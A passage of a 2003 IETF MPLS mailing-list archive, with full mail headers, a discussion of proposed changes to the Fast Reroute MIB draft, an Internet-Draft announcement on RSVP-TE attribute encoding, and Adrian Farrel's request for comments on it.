xxNPHnRENHfN01CsM1NeHtPZa8ww/o2gNI9PZFSaAe5KWq8at+LSNCO3Gm5Mnlxu7WDkPyvl+Hj9
GngVnna6YEsTGiZedZh+iBNouGebOepQQ+SC3RIZ3gbMJqjz0S+F6z7tAAAAAAAAAAAAAAAA7tZq
KQAAAAAAAAAAAAAAAAAAAAAAAAAAmcgFn5HIkidQo0mUK1izaNOpVKtYs2nUq1m1bNu5de3cunfw
48jbSSTGO/pKNJMkvMgwziqTLKbZNsdN2+0dhK+aJ4KMr+BGPYMt+04rkwa83XTZLd1Ju8V52A24
0RyDuclXh4q8+gcxwD39XT2TG6raIM41kw2xySzSC77LVO2ZyAWfkejlTznPLLRHN9IMusczizmT
LZjneLUpqcsan/zNH5mPrbJLP8Ao4EI21EiyiRDnFJMPocU6wQW011TtmN8Un4644EIj0CD7RXjW
GqHGJopY8DuXizzHHrTLVM2a0xuVw6v9SSTGJ+ALMNIb88sxzjaTBLvPMNMFvt1bzZXcV4mMvbJV
Jc1p9QsryhunzDmmUtcMtt4+0gmplVWOsN8WgsOp/ktwwTvxSjPDB7rHINh40QyyxCvQTKnMG4O1
1BDQl6D7VHDTO/tMKtIF8qkdxSzWDqbCLcxMuNEQjreaEZGKpPdDcYMd/EIrky66xTGLMNIa9Mk8
0AL71BqJtdwelYfmny0CxijnRDaTBbrOPN940Qz0ynnFA6jKHI+w31eGirrnVHDKJ/JOO8cBvMd1
q4sjiRR9UgVZOmKWENpaYm0AAAkJCAgKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiwAAAFhDMDAxODE1ZA==
--_NextPart_000_00939D42--



From owner-mpls@UU.NET  Fri Oct 10 14:30:37 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11058
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 14:30:36 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjvm26554
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 18:30:41 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjvm26421;
	Fri, 10 Oct 2003 18:30:38 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjvk07951
	for mpls-outgoing; Fri, 10 Oct 2003 18:13:12 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpjvk07946
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 10 Oct 2003 18:13:08 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpjvk29232
	for <mpls@uu.net>; Fri, 10 Oct 2003 18:02:46 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjvk11487
	for <mpls@uu.net>; Fri, 10 Oct 2003 18:02:46 GMT
Received: from sj-iport-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpjvk11472
	for <mpls@uu.net>; Fri, 10 Oct 2003 18:02:45 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9AI2b01022437
	for <mpls@uu.net>; Fri, 10 Oct 2003 14:02:37 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADB19373;
	Fri, 10 Oct 2003 14:02:36 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9AI2ZB29070 for mpls@uu.net; Fri, 10 Oct 2003 14:02:35 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpjvk22616
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 10 Oct 2003 18:00:55 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpjvj23828
	for <mpls@uu.net>; Fri, 10 Oct 2003 17:54:07 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjvj15625
	for <mpls@uu.net>; Fri, 10 Oct 2003 17:54:07 GMT
Received: from sj-iport-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpjvj15598
	for <mpls@uu.net>; Fri, 10 Oct 2003 17:54:04 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h9AHruXg023672;
	Fri, 10 Oct 2003 10:53:57 -0700 (PDT)
Received: from tnadeauw2k02 (che-vpn-cluster-1-136.cisco.com [10.86.240.136])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADB18290;
	Fri, 10 Oct 2003 13:53:55 -0400 (EDT)
Reply-To: <tnadeau@cisco.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "'Nic Neate'" <Nic.Neate@dataconnection.com>, <riza.cetin@alcatel.be>
Cc: <stefaan.de_cnodder@alcatel.be>,
        "'Juniper - Der-Hwa Gan'" <dhg@juniper.net>, <jvasseur@cisco.com>,
        "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: Suggested improvements to the Fast Reroute MIB definition in  draft-ietf-mpls-fastreroute-mib-01
Date: Fri, 10 Oct 2003 13:53:53 -0400
Organization: Cisco Systems, inc.
Message-ID: <009001c38f57$780005e0$6701a8c0@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <53F74F5A7B94D511841C00B0D0AB16F8028706D5@baker.datcon.co.uk>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



>-----Original Message-----
>From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET] On Behalf 
>Of Nic Neate
>Sent: Friday, October 10, 2003 11:12 AM
>To: 'riza.cetin@alcatel.be'
>Cc: Cisco - Thomas Nadeau; 'stefaan.de_cnodder@alcatel.be'; 
>Juniper - Der-Hwa Gan; 'jvasseur@cisco.com'; 'mpls@uu.net'
>Subject: RE: Suggested improvements to the Fast Reroute MIB 
>definition in draft-ietf-mpls-fastreroute-mib-01
>
>
>Thanks Riza,
>
>It is helpful to see version 02 of the draft.  In particular
> - explicitly stating the advertising of detour LSPs in the 
>mplsTunnelTable
>makes things a lot clearer
> - you clarify that the mplsFrrConstTable is used for both facility and
>one-to-one backup, so that clears up my first suggested change.
>
>Your comment that the mplsFrrConstTable is only intended for 
>configuration
>at ingress makes the indexing clearer.  It would be good to have that
>clarified in the draft as well.  However, this seems like an 
>unnecessary
>restriction to me - would it not also be useful to have this 
>information reported at transit nodes on the protected LSP?

	Only if they can report that information. :P

	--Tom



>That leaves just one outstanding suggestion - that the 
>protection method be
>configurable per-LSP in the mplsFrrConstTable, as supported by the FRR
>draft.  I look forward to hearing the outcome of your 
>discussions with Tom.
>
>Nic
>
>
>-----Original Message-----
>From: riza.cetin@alcatel.be [mailto:riza.cetin@alcatel.be]
>Sent: Friday, October 10, 2003 2:06 PM
>To: Nic Neate
>Cc: Cisco - Thomas Nadeau; 'stefaan.de_cnodder@alcatel.be'; Juniper -
>Der-Hwa Gan; 'jvasseur@cisco.com'; 'mpls@uu.net'
>Subject: Re: Suggested improvements to the Fast Reroute MIB definition
>in draft-ietf-mpls-fastreroute-mib-01
>
>
>
>Nic,
>
>We have done a lot of changes mainly on the detour related 
>tables. The new
>version has not been submitted yet. Please find attached the 
>new version and
>my
>answers to your questions below.
>
>Riza.
>
>Nic Neate wrote:
>
>> Hi all,
>>
>> I've not had any further discussion on this for a while.  This is a
>summary
>> of what I'm suggesting, taking into account the points 
>people have made,
>and
>> what we've already resolved.  Please get back to me with any 
>disagreement
>or
>> new arguments.
>>
>> Thanks,
>>
>> Nic
>>
>> Agreed corrections to the draft
>> ===============================
>>
>> 1.  Reflect in the description of the mplsFrrConstHopLimit 
>field that the
>> information is not available at transit detour nodes.  
>Suggested text:
>>
>>       DESCRIPTION
>>         "The maximum number of hops that the detour LSP may traverse.
>>          This field is not relevant and should be ignored if this
>>          entry in the mplsFrrConstTable is being used in the context
>>          of representing a detour LSP."
>
>This table is ONLY used at the ingress node of the protected 
>tunnel instance
>to
>configure backup LSP setup constraints. So it is not relevant 
>for the detour
>transit nodes.
>
>>
>>
>> 2.  Typo: change mplsFrrConstExclAllAffinity to
>mplsFrrConstExclAnyAffinity.
>
>Done.
>
>>
>>
>> 3.  In section 5.3, change "mplsFrrDetourXCPointer" to
>> "mplsTunnelXCPointer".  In the DESCRIPTION of 
>mplsFrrDetourActive, change
>> "mplsFrrDetourRole" to "mplsTunnelRole".
>>
>
>This object has been removed from the new version of the draft.
>
>>
>> Outstanding suggested changes
>> =============================
>>
>> 1.  The mplsFrrConstTable should be a common table for both 
>facility and
>> detour backup.  Currently it is defined to show "detour setup
>constraints".
>> However, the fields map precisely to those in the RSVP 
>FAST_REROUTE object
>> and the FRR draft specifies that the FAST_REROUTE object 
>applies equally
>to
>> both facility and detour backup.  Thus the table is required 
>equally for
>> facilty and detour backup.
>>
>
>To be discussed with Tom Nadeau.
>
>>
>> 2.  The mplsFrrConstProtectionMethod should be a field in the
>> mplsFrrConstTable, not a scalar.  The FRR draft allows an LSR to
>> simulateously support LSPs using both facility and detour 
>backup.  This is
>> likely to happen in real world networks, in particular when 
>a network is
>> being migrated from one protection type to another.  Hence 
>the protection
>> method needs to be configurable/reportable per-LSP, not just 
>per-LSR.  I
>> suggest the follow text for the MIB.
>>
>>    mplsFrrConstProtectionMethod OBJECT-TYPE
>>       SYNTAX        INTEGER { oneToOneBackup(0),
>>                               facilityBackup(1)
>>                             }
>>       MAX-ACCESS    read-write
>>       STATUS        current
>>       DESCRIPTION
>>         "Indicates which protection method is to be used for fast
>>          reroute."
>>       ::= { mplsFrrConstEntry 4 }
>>
>
>To be discussed with Tom Nadeau.
>
>>
>> 3.  The indexing of the mplsFrrConstTable needs fixing.  The 
>current three
>> indicies (interface index, tunnel index and tunnel instance) are
>> insufficient.  For example, two protected LSPs could meet at 
>a transit
>node,
>> both with different ingress and egress but the same values 
>for each of the
>> existing mplsFrrConstTable indices.  If those protected LSPs have a
>> different value for, say, the mplsFrrConstSetupPrio then they need
>different
>> entries in the mplsFrrConstTable.
>>
>> Rather than adjusting the current indexing, I suggest 
>replacing the three
>> existing indices with a single integer index, 
>mplsFrrConstIndex.  This
>index
>> can then be referenced from the mplsTunnelTable, 
>establishing a simple
>> indexing system with clear relationships between the tables 
>(which is also
>> in line with existing relationships between tables in the TE-MIB and
>> LSR-MIB).
>>
>> Briefly, this would require the following.
>> - New mplsFrrConstIndex field in the mplsFrrConstTable, replacing the
>three
>> existing indices.
>> - New mplsFrrTunnelFrrConstIndex/Pointer field in the 
>mplsTunnelTable,
>> pointing to the mplsFrrConstTable entry for this tunnel.
>>
>> Some full suggested text follows.
>>
>> For the mplsFrrConstTable:
>>
>>    MplsFrrConstIndex ::= TEXTUAL-CONVENTION
>>       STATUS        current
>>       DESCRIPTION
>>         "Index into mplsFrrConstTable."
>>       SYNTAX  Integer32 (1..65535)
>>
>>    mplsFrrConstIndex OBJECT-TYPE
>>       SYNTAX        MplsFrrConstIndex
>>       MAX-ACCESS    not-accessible
>>       STATUS        current
>>       DESCRIPTION
>>            "Uniquely identifies this row."
>>       ::= { mplsFrrConstEntry 1 }
>>
>> For the mplsTunnelTable:
>>
>>    -- MPLS Fast Reroute Tunnel Table
>>
>>    mplsFrrTunnelTable            OBJECT-TYPE
>>       SYNTAX                     SEQUENCE OF MplsFrrTunnelEntry
>>       MAX-ACCESS                 not-accessible
>>       STATUS                     current
>>       DESCRIPTION
>>          "This table extends the mplsTunnelTable defined in the
>>           MPLS-TE MIB to provide Fast Reroute configuration."
>>       ::= { mplsFrrGeneralObjects 1 }
>>
>>    mplsFrrTunnelEntry            OBJECT-TYPE
>>       SYNTAX                     MplsFrrTunnelEntry
>>       MAX-ACCESS                 not-accessible
>>       STATUS                     current
>>       DESCRIPTION
>>          "This entry provides Fast Reroute configuration for the
>>           tunnel."
>>       AUGMENTS { mplsTunnelEntry }
>>       ::= {mplsFrrTunnelTable 1}
>>
>>    MplsFrrTunnelEntry ::= SEQUENCE {
>>       mplsFrrTunnelFrrConstPointer      RowPointer
>>    }
>>
>>    mplsFrrTunnelFrrConstPointer   OBJECT-TYPE
>>       SYNTAX                      RowPointer
>>       MAX-ACCESS                  read-create
>>       STATUS                      current
>>       DESCRIPTION
>>            "This variable represents a pointer to the Fast Reroute
>>              parameter specification for this tunnel.  This value may
>>              point at an entry in the mplsFrrConstTable to indicate
>>              which mplsFrrConstEntry is to be assigned to this LSP
>>              instance.  This value may optionally point at an
>>              externally defined Fast Reroute parameter specification
>>              table.  A value of zeroDotZero indicates default Fast
>>              Reroute parameters if the fastReroute bit in the
>>              mplsTunnelSessionAttributes is set, and 
>otherwise no Fast
>>              Reroute protection."
>>       DEFVAL        { zeroDotZero }
>>       ::= { mplsFrrTunnelEntry 1 }
>>
>>    END
>
>This table is only intended to be used at the ingress nodes 
>initiating the
>backup LSPs. It will not be present at the transit detour 
>LSPs. So, I don't
>see
>a need to change the indexing.
>



From owner-mpls@UU.NET  Fri Oct 10 16:21:41 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA20420
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 16:21:40 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjvt27904
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 20:21:41 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjvt27767;
	Fri, 10 Oct 2003 20:21:38 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjvr06805
	for mpls-outgoing; Fri, 10 Oct 2003 19:59:13 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpjvr06800
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 10 Oct 2003 19:59:09 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpjvr26727
	for <mpls@uu.net>; Fri, 10 Oct 2003 19:51:31 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjvr15527
	for <mpls@uu.net>; Fri, 10 Oct 2003 19:51:31 GMT
Received: from sj-iport-3.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQpjvr15433
	for <mpls@uu.net>; Fri, 10 Oct 2003 19:51:28 GMT
Received: from cisco.com (64.102.124.13)
  by sj-iport-3.cisco.com with ESMTP; 10 Oct 2003 13:00:00 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9AJpL5g027209
	for <mpls@uu.net>; Fri, 10 Oct 2003 15:51:21 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADB30036;
	Fri, 10 Oct 2003 15:51:20 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9AJpKM02013 for mpls@uu.net; Fri, 10 Oct 2003 15:51:20 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpjvq05565
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 10 Oct 2003 19:41:43 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpjvq12313
	for <mpls@uu.net>; Fri, 10 Oct 2003 19:38:17 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjvq27083
	for <mpls@uu.net>; Fri, 10 Oct 2003 19:38:16 GMT
Received: from ietf.org by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQpjvq26829
	for <mpls@uu.net>; Fri, 10 Oct 2003 19:38:06 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA15616;
	Fri, 10 Oct 2003 15:37:57 -0400 (EDT)
Message-Id: <200310101937.PAA15616@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET, ccamp@ops.ietf.org
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-farrel-mpls-rsvpte-attributes-00.txt
Date: Fri, 10 Oct 2003 15:37:56 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Encoding of Attributes for  Multiprotocol Label 
			  Switching (MPLS) Label Switched Path (LSP) 
			  Establishment Using RSVP-TE
	Author(s)	: A. Farrel, D. Papadimitriou, J. Vasseur
	Filename	: draft-farrel-mpls-rsvpte-attributes-00.txt
	Pages		: 11
	Date		: 2003-10-10
	
Multiprotocol Label Switching (MPLS) Label Switched Paths (LSPs) may
be established using the Resource Reservation Protocol Traffic
Engineering extensions (RSVP-TE). This protocol includes an object
(the SESSION_ATTRIBUTE object) which carries a flags field used to
indicate options and attributes of the LSP. That flags field has
eight bits allowing for eight options to be set.

Recent proposals in many documents that extend RSVP-TE for signaling
additional features and function for MPLS LSPs have suggested uses
for each of the previously unused bits.

This document defines a new object for RSVP-TE messages that allows
the signaling of further attribute bits and also the carriage of
arbitrary attribute parameters. This makes RSVP-TE easily extensible
to support new requirements.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-farrel-mpls-rsvpte-attributes-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-farrel-mpls-rsvpte-attributes-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-farrel-mpls-rsvpte-attributes-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-10143057.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-farrel-mpls-rsvpte-attributes-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-farrel-mpls-rsvpte-attributes-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-10143057.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Fri Oct 10 19:36:57 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA00132
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 19:36:56 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjwg01818
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 23:37:04 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjwg01517;
	Fri, 10 Oct 2003 23:36:59 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjwf11908
	for mpls-outgoing; Fri, 10 Oct 2003 23:19:14 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpjwf11903
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 10 Oct 2003 23:19:01 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpjwf17718
	for <mpls@UU.NET>; Fri, 10 Oct 2003 23:15:41 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjwf24907
	for <mpls@UU.NET>; Fri, 10 Oct 2003 23:15:40 GMT
Received: from relay0.netfirms.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: m0.netfirms.com [209.171.43.51])
	id QQpjwf24892
	for <mpls@UU.NET>; Fri, 10 Oct 2003 23:15:40 GMT
Received: (qmail 17014 invoked from network); 10 Oct 2003 23:15:37 -0000
Received: from du-069-0348.access.clara.net (HELO Puppy) (217.158.145.94)
  by 0 with SMTP; 10 Oct 2003 23:15:37 -0000
Message-ID: <07c801c38f84$7231fec0$c5849ed9@Puppy>
Reply-To: "Adrian Farrel" <adrian@olddog.co.uk>
From: "Adrian Farrel" <adrian@olddog.co.uk>
To: "'mpls@uu.net'" <mpls@UU.NET>
References: <200310101937.PAA15616@ietf.org>
Subject: RSVP-TE Session Attribute bit shortage
Date: Sat, 11 Oct 2003 00:14:08 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

All,

At the last IETF it was observed that there was a shortage of bit flags in the Session
Attribute object.

Building on a similar feature recently proposed in the OSPF WG, and on a requirement and
solution similarly expressed in draft-vasseur-inter-as-te we are suggesting a new protocol
object to allow more space for attribute bit flags and also to allow arbitrary attribute
TLVs.

We would welcome your comments.
In particular, we have introduced two objects, one with C-num 11bbbbbb and one with C-num
0bbbbbbb. Are they both necessary?

The CCAMP WG will be invited to comment on the MPLS list to keep the cross-list traffic
down.

Thanks,
Adrian


----- Original Message ----- 
From: <Internet-Drafts@ietf.org>
To: <IETF-Announce:>
Cc: <mpls@uu.net>; <ccamp@ops.ietf.org>
Sent: Friday, October 10, 2003 8:37 PM
Subject: I-D ACTION:draft-farrel-mpls-rsvpte-attributes-00.txt


> A New Internet-Draft is available from the on-line Internet-Drafts directories.
>
>
> Title : Encoding of Attributes for  Multiprotocol Label
>   Switching (MPLS) Label Switched Path (LSP)
>   Establishment Using RSVP-TE
> Author(s) : A. Farrel, D. Papadimitriou, J. Vasseur
> Filename : draft-farrel-mpls-rsvpte-attributes-00.txt
> Pages : 11
> Date : 2003-10-10
>
> Multiprotocol Label Switching (MPLS) Label Switched Paths (LSPs) may
> be established using the Resource Reservation Protocol Traffic
> Engineering extensions (RSVP-TE). This protocol includes an object
> (the SESSION_ATTRIBUTE object) which carries a flags field used to
> indicate options and attributes of the LSP. That flags field has
> eight bits allowing for eight options to be set.
>
> Recent proposals in many documents that extend RSVP-TE for signaling
> additional features and function for MPLS LSPs have suggested uses
> for each of the previously unused bits.
>
> This document defines a new object for RSVP-TE messages that allows
> the signaling of further attribute bits and also the carriage of
> arbitrary attribute parameters. This makes RSVP-TE easily extensible
> to support new requirements.
>
> A URL for this Internet-Draft is:
> http://www.ietf.org/internet-drafts/draft-farrel-mpls-rsvpte-attributes-00.txt
>
> To remove yourself from the IETF Announcement list, send a message to
> ietf-announce-request with the word unsubscribe in the body of the message.
>
> Internet-Drafts are also available by anonymous FTP. Login with the username
> "anonymous" and a password of your e-mail address. After logging in,
> type "cd internet-drafts" and then
> "get draft-farrel-mpls-rsvpte-attributes-00.txt".
>
> A list of Internet-Drafts directories can be found in
> http://www.ietf.org/shadow.html
> or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
>
>
> Internet-Drafts can also be obtained by e-mail.
>
> Send a message to:
> mailserv@ietf.org.
> In the body type:
> "FILE /internet-drafts/draft-farrel-mpls-rsvpte-attributes-00.txt".
>
> NOTE: The mail server at ietf.org can return the document in
> MIME-encoded form by using the "mpack" utility.  To use this
> feature, insert the command "ENCODING mime" before the "FILE"
> command.  To decode the response(s), you will need "munpack" or
> a MIME-compliant mail reader.  Different MIME-compliant mail readers
> exhibit different behavior, especially when dealing with
> "multipart" MIME messages (i.e. documents which have been split
> up into multiple messages), so check your local documentation on
> how to manipulate these messages.
>
>
> Below is the data which will enable a MIME compliant mail reader
> implementation to automatically retrieve the ASCII version of the
> Internet-Draft.
>



From owner-mpls@UU.NET  Fri Oct 10 20:39:57 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
